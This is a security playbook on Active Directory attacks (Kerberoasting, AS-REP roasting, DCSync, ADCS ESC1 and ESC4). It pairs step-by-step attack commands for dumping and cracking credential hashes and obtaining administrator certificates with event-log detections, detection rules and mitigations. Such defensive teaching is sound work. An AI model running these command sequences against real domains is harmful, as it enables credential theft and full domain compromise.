This playbook dives deep into critical attack vectors, ranging from Kerberoasting and DCSync to complex ADCS privilege escalation techniques.

1. Kerberoasting

Understanding Kerberoasting

Kerberoasting is an attack technique that targets Active Directory service accounts. Many services within a network, like SQL servers, need to authenticate and are given a special “service account.” These accounts have a Service Principal Name (SPN) associated with them, which basically advertises the service to the network. Kerberoasting exploits this by requesting a service ticket (TGS) for one of these services from the domain controller. Because any authenticated user can request these tickets, the attacker can receive an encrypted ticket that is encrypted with the service account’s password hash. The attacker then takes this ticket offline and uses brute-force methods to crack the password. If an attacker successfully cracks the password, they can authenticate as the service account and may obtain high privileges across the Active Directory domain.

How Kerberoasting works

Windows

1. Enumeration - find SPNs Using PowerShell and ActiveDirectory module, an attacker can query the domain controller for users with an SPN. We can ignore the krbtgt account because it is reserved for Kerberos.

Import-Module ActiveDirectory
Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and Name -ne "krbtgt"} -Properties ServicePrincipalName, SamAccountName

2. Request Ticket(s): Tools like Rubeus can then request the service ticket in format ready to crack.

.\Rubeus.exe kerberoast /user:vulnerable_user /nowrap

3. Crack TGS:

hashcat -m 13100 -a 0 tgs.txt /usr/share/wordlists/rockyou.txt

Linux

1. Enumeration - find SPNs Using GetUserSPNs from Impacket suite, an attacker can query the domain controller for SPNs.

GetUserSPNs -dc-ip DC_IP domain.local/attacker:attacker_password

2. Request Ticket(s): Using the same tool GetUserSPNs, an attacker can request Service Tickets of all users.

GetUserSPNs -dc-ip DC_IP domain.local/attacker:attacker_password -request -outputfile tgs_all.txt

3. Crack TGS:

hashcat -m 13100 -a 0 sansa_tgs.txt /usr/share/wordlists/rockyou.txt

How to detect it

Detection based on TicketEncryptionType

This method is suitable only for modern Active Directory environments where all user accounts use AES-256 for Kerberos ticket encryption.

The primary method to detect Kerberoasting attacks is by monitoring the encryption type of service tickets. Active Directory environments use AES encryption by default, but attackers often request tickets encrypted with the weaker and easy to crack RC4 algorithm. This behavior can be identified by monitoring Event ID 4769 (“A Kerberos service ticket was requested”) on your Domain Controllers and checking for the attribute TicketEncryptionType with a value of 0x17, which indicates RC4 encryption.

Detection based on high-volume of requests

Another way to detect Kerberoasting is by monitoring the number of service tickets requested. This attack typically involves a single user or IP address requesting an unusually high volume of service tickets for many different services within a short period. By establishing a baseline of normal activity, you can create alerts that trigger when an account suddenly requests, for example, 10, 20, or more tickets for unique services.

Mitigating Kerberoasting

1. Use Strong Passwords - Ensure all service accounts have very long and complex passwords. Even better, use Delegated Managed Service Account (dMSA) introduced in Windows Server 2025, or Group Managed Service Accounts (gMSA). These accounts have passwords that are automatically managed by Windows and are extremely long and complex, making them practically impossible to crack.
2. Regular Audit - Look for privileged accounts (like domain admins) that have SPNs, which is a high-risk misconfiguration, and investigate any accounts that shouldn’t be running services.
3. Implement Least Privilege: - Service accounts should only have the absolute minimum permissions necessary to run their service. They should almost never be members of privileged groups like Domain Admins or Enterprise Admins.

2. Targeted Kerberoasting

Understanding Targeted Kerberoasting

Instead of hunting for existing service accounts, an attacker first finds a user or group of users they have permission to modify - for example, by using the GenericWrite or GenericAll permission. The attacker then abuses that permission to add a fake Service Principal Name (SPN) to the victim’s account. This action makes the victim account a target for Kerberoasting. The attacker then performs a normal Kerberoasting - they request a service ticket for the new SPN and crack the ticket offline to obtain the account’s password.

How Targeted Kerberoasting works

Windows

1. Find writable permissions over victim’s account - such as GenericAll

2. Add a Fake SPN to victim’s account - e.g., CIFS/fakehost

Set-ADUser -Identity vulnerable_user -Add @{serviceprincipalname="CIFS/fakehost"}

3. Request the TGS Ticket for cracking:

Rubeus.exe kerberoast /user:vulnerable_user /nowrap

4. Crack TGS:

hashcat -m 13100 -a 0 targeted_tgs.txt /usr/share/wordlists/rockyou.txt

Linux

From Linux, we can use automated tools like targetedKerberoast.py. This tool automates the entire process - lists all users, check if the attacker’s user has write permissions over any of them, and if it finds one:

1. It automatically adds a temporary SPN.
2. It requests the TGS ticket for that new SPN.
3. It deletes the temporary SPN to clean up its tracks.

python targetedKerberoast.py -u 'attacker' -p attacker_pass -d 'domain.local'  --only-abuse --dc-ip DC_IP

Crack TGS:

hashcat -m 13100 -a 0 targeted_tgs.txt /usr/share/wordlists/rockyou.txt

How to detect it

The most reliable detection is to monitor for the SPN modification. This action is logged on Domain Controllers as Event ID 5136 (A directory service object was modified). Alert should be triggered when this event occurs and the Service Principal Name attribute is shown as being modified. While this may yield some false positives, such as a legitimate administrator provisioning a new service, this activity is generally infrequent and should be investigated.

Gryphon rule:

- id: Targeted_Kerberoasting
  date: 2025-10-24T13:33:37Z
  severity: 8
  brief: Targeted Kerberoasting - SPN added to account
  description: An attacker with modification rights (e.g. GenericWrite/GenericAll)
    added a fake servicePrincipalName (SPN) to an account, making it a
    Kerberoastable target. The attacker can now request a service ticket for the
    injected SPN and crack the ticket offline to recover the account password.
  mitre_designation: T1558.003
  events:
    OnEvent:
      - field: etw.id
        equals: Microsoft-Windows-Security-Auditing.5136
      - field: etw.fields.AttributeLDAPDisplayName
        type: string
        equals: servicePrincipalName
      - field: etw.fields.DSType
        type: string
        equals: "%%14676"
  actions:
    - report

Mitigating Targeted Kerberoasting

1. Regular Penetration Tests - Proactively test your environment to discover and remediate the exact attack paths this technique relies on. This includes auditing for weak ACLs (like GenericWrite or GenericAll) and testing password strength to ensure your policies prevent successful breach.
2. Implement Least Privilege: This is the most crucial defense. Ensure standard user accounts can never obtain modification rights over privileged users or groups.

3. AS-REP Roasting

Understanding AS-REP Roasting

AS-REP Roasting is an attack technique that targets Active Directory user accounts with a specific setting. By default, Kerberos requires a user to prove their identity before the Domain Controller gives them an authentication ticket, a process called pre-authentication. However, some accounts can be configured to bypass this step, a setting known as Do not require Kerberos preauthentication. An attacker can find these misconfigured accounts and simply ask the Domain Controller for encrypted ticket. The Domain Controller provides a ticket encrypted with the user’s password hash, which the attacker then takes offline to crack.

How AS-REP Roasting works

Windows

1. Find vulnerable accounts with the DONT_REQ_PREAUTH flag:

Get-ADUser -Filter {UserAccountControl -band 0x400000} -Properties SamAccountName

2. Request Ticket (Rubeus):

Rubeus.exe asreproast /user:vulnerable_user /nowrap

3. Crack AS-REP:

hashcat -m 18200 -a 0 asrep.txt /usr/share/wordlists/rockyou.txt 

Linux

1. Find vulnerable users and request their hashes:

GetNPUsers domain.local/attacker:attacker_pass -outputfile asrep.txt -dc-ip DC_IP

If we are unauthenticated - i.e., we have not compromised any user - we must locate AS‑REP roastable accounts by brute-forcing potential usernames. Candidate usernames can be obtained, for example, via OSINT and by using tools that generate usernames from first and last names, such tool is username‑anarchy.

GetNPUsers domain.local/ -usersfile possible_usernames.txt -dc-ip DC_IP

2. Crack AS-REP:

hashcat -m 18200 -a 0 asrep.txt /usr/share/wordlists/rockyou.txt 

How to Detect It

Possible way to detect this is by monitoring Event ID 4768 (A Kerberos authentication ticket was requested) on your Domain Controllers. The attack will generate an event where the Pre-Authentication Type field is 0, which means no pre-authentication was supplied. This is especially suspicious if the event also shows a weak Ticket Encryption Type like RC4 (0x17).

Gryphon rule:

- id: AS-REP_Roasting
  date: 2025-09-18T13:33:37Z
  severity: 8
  brief: AS-REP Roasting activity detected
  description: An attacker requested AS-REP responses for accounts with Kerberos
    pre-auth disabled to obtain crackable hash.
  mitre_designation: T1558.004
  events:
    OnEvent:
      - field: etw.id
        equals: Microsoft-Windows-Security-Auditing.4768
      - field: etw.fields.PreAuthType
        type: string
        equals: "0"
      - field: etw.fields.TicketEncryptionType
        type: int
        equals: "0x17"
  actions:
    - report

Mitigating AS-REP Roasting

1. Disable this flag if not needed - This flag should be disabled for all user accounts unless there is an explicit and documented legacy application need.
2. Disable Weak Kerberos Encryption - Where possible, disable the use of RC4 encryption for Kerberos. Enforcing modern standards like AES-256 makes offline cracking significantly more difficult and time-consuming.
3. Regular Penetration Tests - Proactively test your environment to discover user accounts that have “Do not require Kerberos preauthentication” enabled.
4. Enforce Strong Passwords - Even if an attacker successfully obtains a hash, a long and complex password will make it computationally infeasible to crack.

4. Unauthenticated Kerberoasting via AS-REP Roasting

Understanding this attack

This is an attack chain that combines two different roasting techniques - AS-REP Roasting and Kerberoasting. The attack begins when an attacker identifies a user account that has the “Do not require Kerberos preauthentication” setting enabled. They perform an AS-REP Roast against this account to get encrypted ticket without needing a password. Instead of just cracking this ticket, they immediately pivot to the second phase - standard Kerberoasting attack.

How this attack works

Linux

1. Find AS-REP Roastable Users: The attacker first uses GetNPUsers.py to find a vulnerable user (e.g., brandon.stark)

GetNPUsers domain.local/ -usersfile possible_usernames.txt -dc-ip DC_IP

2. Chain into Kerberoast: The attacker leverages the AS-REP roastable user’s context (which requires no password) to authenticate and then immediately perform the Kerberoast.

GetUserSPNs domain.local/ -no-preauth asrep_roastable_user -usersfile all_users.txt -dc-host DC_IP

3. Now we can crack TGS tickets in the same way as regular Kerberoasting:

hashcat -m 13100 -a 0 sansa_tgs.txt /usr/share/wordlists/rockyou.txt

How to Detect It

The detection idea is to correlate the two distinct phases of the attack. A high-fidelity signal is generated by monitoring Domain Controller logs for an Event ID 4768 (TGT requested) where the Pre-Authentication Type is 0 (indicating an AS-REP roast). This event should be correlated with a high volume of Event ID 4769 (TGS requested) events originating from the same user or source IP address. This chain is a strong indicator of this attack. However, detection based solely on AS-REP Roasting and its anomalies in event logs is sufficient.

Gryphon rule:

- id: Unauthenticated_Kerberoasting
  date: 2025-09-21T13:33:37Z
  severity: 8
  brief: Unauthenticated Kerberoasting via AS-REP Roasting detected
  description: 'This is an attack chain that combines two different roasting
    techniques - AS-REP Roasting and Kerberoasting. The attack begins when an
    attacker identifies a user account that has the "Do not require Kerberos
    preauthentication" setting enabled.'
  mitre_designation: T1558.004
  events:
    OnEvent:
      - field: etw.id
        equals: Microsoft-Windows-Security-Auditing.4768
      - field: etw.fields.ServiceName
        type: string
        not_equals: krbtgt
      - field: etw.fields.ServiceSid
        type: sid
        equals: S-1-0-0
  actions:
    - report

How to Avoid It

1. Disable this flag if not needed - This flag should be disabled for all user accounts unless there is an explicit and documented legacy application need.
2. Disable Weak Kerberos Encryption - Where possible, disable the use of RC4 encryption for Kerberos. Enforcing modern standards like AES-256 makes offline cracking significantly more difficult and time-consuming.
3. Regular Penetration Tests - Proactively test your environment to discover user accounts that have “Do not require Kerberos preauthentication” enabled.
4. Enforce Strong Passwords - Even if an attacker successfully obtains a hash, a long and complex password will make it computationally infeasible to crack.

5. DCSync

What is DCSync?

DCSync is an attack that simulates the behavior of a Domain Controller (DC). It uses the Directory Replication Service (DRS) protocol to request password data from a legitimate DC. An attacker with sufficient privileges (specifically, DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) can pose as a new or existing DC that needs to “sync” its database. This allows the attacker to receive password hashes for any account in the domain, including the sensitive krbtgt account.

How DCSync works

Windows

On Windows, we can use Mimikatz - specifically, the lsadump::dcsync command that uses the DRS protocol to request the password hash for a specific user.

mimikatz.exe
mimikatz # lsadump::dcsync /user:domain\krbtgt

Linux

On Linux, the Impacket suite’s secretsdump.py script is used. It can perform the same attack from a Linux machine, connecting to a DC and dumping all NT hashes and Kerberos keys.

secretsdump.py domain/<username>:<password>@<domain-controller-ip> -just-dc-user 'domain\krbtgt'

How to Detect It

All legitimate domain replication should only occur between known Domain Controllers. You can monitor Event ID 4662 (An operation was performed on an object) associated with directory replication. You can also monitor network traffic for RPC calls. Correlate the source IP address of any replication request with a list of legitimate Domain Controller IP addresses. If a replication request originates from any IP address that is not on this list (such as user workstation), it is a very strong indicator of a DCSync attack.

How to Avoid It

1. Implement Least Privilege - This is the most crucial defense. Protect any account or group that has the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions. No standard user or administrator account should ever have these rights.
2. Monitor ACL Changes - An attacker may try to grant their compromised account the necessary replication rights directly. Monitor for changes to the domain object’s ACL, specifically looking for any user being granted these DS-Replication permissions.

6. ADCS - ESC1

Understanding ADCS ESC1

ADCS ESC1 is a privilege escalation attack against Active Directory Certificate Services (ADCS). The “ESC1” refers to the first escalation path in a series of documented misconfigurations. This attack exploits a dangerously configured certificate template that allows a low-privilege user to request a certificate for any user, including a Domain Administrator. By specifying an administrator’s name in the request, the attacker receives a valid certificate for Administrator’s account. Attacker can use that certificate to authenticate as Administrator and completely compromise the Active Directory domain.

Certificate template requirements for successful attack:

1. Enrollee Supplies Subject - The template allows the person requesting the certificate to specify the identity (Subject) they want.
2. Client Authentication EKU - The template is valid for authentication (e.g., it has the Client Authentication or Smart Card Logon Extended Key Usage (EKU)).
3. Weak Enrollment Rights - A low-privilege group (like “Domain Users” or “Authenticated Users”) has permission to enroll in the template.
4. No Manager Approval - The template is configured to issue certificates automatically without requiring an administrator to approve the request.

How ADCS ESC1 works

Windows

1. Find Vulnerable Templates: First, the attacker uses Certify.exe to scan the domain for templates vulnerable to ESC1.

Certify.exe enum-templates --filter-enabled

2. Exploit with ESC1: Once a vulnerable template is found, the attacker requests a certificate, using the -upn to specify victim’s User Principal Name (UPN).

Certify.exe request --ca <CA fullname> --template <template> --upn Administrator

3. Get Administrator’s TGT and NT hash using Rubeus:

Rubeus.exe asktgt /user:Administrator /certificate:MIACAQMwgA..<SNIP> /getcredentials

Linux

1. Find Vulnerable Templates: The attacker uses certipy find to enumerate templates, authenticating with their low-privilege credentials.

certipy find -u 'attacker' -p 'Password123!' -dc-ip DC_IP -vulnerable -enabled -stdout

2. Request Malicious Certificate: Certipy’s req command requests the certificate and saves it directly as a .pfx file.

certipy req -u 'attacker' -p 'Password123!' -ca <CA name> -template <template> -upn '[email protected]' -dc-ip DC_IP -target-ip CA_IP

3. Authenticate as Target: Using Certipy we can also retrieve the target’s NTLM hash and TGT ticket.

certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip DC_IP

How to Detect It

The key detection idea is to monitor TGT requests that were requested using certificate. However, we have to filter only specific TicketOptions value used by threat actors - 0x40800010.

Gryphon rule:

- id: ADCS-PKINIT
  date: 2025-10-27T13:33:37Z
  severity: 8
  brief: Possible ESC attack - cert auth used
  description: Indicates a certificate was used for authentication - TGT requested.
  mitre_designation: T1068
  events:
    OnEvent:
      - field: etw.id
        equals: Microsoft-Windows-Security-Auditing.4768
      - field: etw.fields.PreAuthType
        type: string
        equals: "16"
      - field: etw.fields.TicketOptions
        type: int
        equals: "0x40800010"
  actions:
    - report

Mitigating ADCS ESC1 Attacks

1. Disable “Enrollee Supplies Subject” - On the vulnerable certificate template, go to the Subject Name tab. Change the setting from Supply in the request to Build from Active Directory information. This forces the template to pull the user’s identity from their AD object.
2. Enable Manager Approval - If you absolutely must use the “Supply in the request” setting, you must enable a manual control. Go to the Issuance Requirements tab and check the “CA certificate manager approval” box. This stops the automatic issuance and places the request in a pending queue for an administrator to review.
3. Restrict Enrollment - On the template’s Security tab, remove broad enrollment permissions. Groups like “Authenticated Users” or “Domain Users” should almost never have “Enroll” permissions on templates that can be used for authentication.

7. ADCS - ESC4

Understanding ESC4

ESC4 is a privilege escalation attack that abuses weak Access Control Lists (ACLs) on certificate template objects in Active Directory. Unlike an ESC1 attack, in which the template is already dangerously configured, an ESC4 attack modifies a certificate template to make it vulnerable to ESC1.

The attackers finds a certificate template they have modification rights to (e.g., WriteProperty, WriteDACL, or GenericWrite). They use this permission to modify the template, turning it into one that is vulnerable - for example, to an ESC1 attack. Once the template is “poisoned,” the attacker executes ESC1 attack to request a certificate for a Domain Admin.

How ADCS ESC4 works

Windows

1. Find modifiable templates:

Certify.exe enum-templates --filter-enabled

Vulnerable template:

2. Modify Template to be Vulnerable:

# disable manager approval
Certify.exe manage-template --template <template> --manager-approval
# disable authorized signatures
Certify.exe manage-template --template <template> --authorized-signatures 0
# set Client Authentication
Certify.exe manage-template --template <template> --client-auth
# enable ENROLLEE_SUPPLIES_SUBJECT
Certify.exe manage-template --template <template> --supply-subject

After modification:

3. Exploit with ESC1:

Certify.exe request --ca <CA fullname> --template <template> --upn Administrator

4. Get Administrator’s TGT and NT hash using Rubeus:

Rubeus.exe asktgt /user:Administrator /certificate:MIACAQMwgA..<SNIP> /getcredentials

5. Restore old configuration (using the same commands and old settings):

# enable manager approval
Certify.exe manage-template --template <template> --manager-approval
# set authorized signatures to 5
Certify.exe manage-template --template <template> --authorized-signatures 5
# unset Client Authentication
Certify.exe manage-template --template <template> --client-auth
# disable ENROLLEE_SUPPLIES_SUBJECT
Certify.exe manage-template --template <template> --supply-subject

Linux

1. Find Writable Templates: Certipy’s find command can identify templates the attacker’s user has rights to modify.

certipy find -u 'attacker' -p 'Password123!' -dc-ip IP -vulnerable -enabled -stdout

2. Modify Template: Certipy’s template command can modify a certificate template’s configuration. The tool saves the current configuration, then changes it to make the template vulnerable to ESC1.

certipy template -u 'attacker' -p attacker_pass -template <template> -write-default-configuration -dc-ip DC_IP

Modified template:

3. Exploit with ESC1: Now that the template is poisoned, the attacker uses certipy req to request certificate as Administrator.

certipy req -u 'attacker' -p 'Password123!' -ca <CA name> -template <template> -upn '[email protected]' -dc-ip DC_IP -target-ip CA_IP

4. Get Administrator’s TGT and NT hash

certipy auth -pfx administrator.pfx -dc-ip DC_IP

5. Revert back old configuration:

certipy template -u 'attacker' -p 'Password123!' -template <template> -write-configuration <backup.json> -dc-ip DC_IP

How to Detect It

Detect the modification of the template. This is a rare event that must happen before the attack. It is necessary to add a SACL on the Certificate Templates container, even if Advanced Auditing for Directory Service Changes is already enabled on the domain controllers.

Gryphon rule:

- id: ADCS-ESC4
  date: 2025-10-24T13:33:37Z
  severity: 8
  brief: Certificate Template modified - possible ESC4 exploitation
  description: An attacker with weak ACL rights
    (WriteProperty/WriteDACL/GenericWrite) modifies a certificate template,
    making it vulnerable to AD CS abuse paths (e.g. ESC1). Typical changes
    include enabling ENROLLEE_SUPPLIES_SUBJECT, adding Client Authentication
    EKUs and modification of manager approval settings.
  mitre_designation: T1068
  events:
    OnEvent:
      - field: etw.id
        equals: Microsoft-Windows-Security-Auditing.5136
      - field: etw.fields.ObjectClass
        type: string
        equals: pKICertificateTemplate
      - field: etw.fields.AttributeLDAPDisplayName
        type: string
        any_of:
          - pKIExtendedKeyUsage
          - msPKI-Certificate-Name-Flag
          - msPKI-Enrollment-Flag
          - msPKI-RA-Application-Policies
          - msPKI-Certificate-Application-Policy
          - msPKI-RA-Signature
      - field: etw.fields.OperationType
        type: string
        equals: "%%14674"
  actions:
    - report

Mitigating ADCS ESC4 Attacks

1. Implement Least Privilege - On the template’s Security tab, remove any unnecessary write permissions.
2. Regular Penetration Tests - Proactively test your environment to discover new AD CS misconfigurations.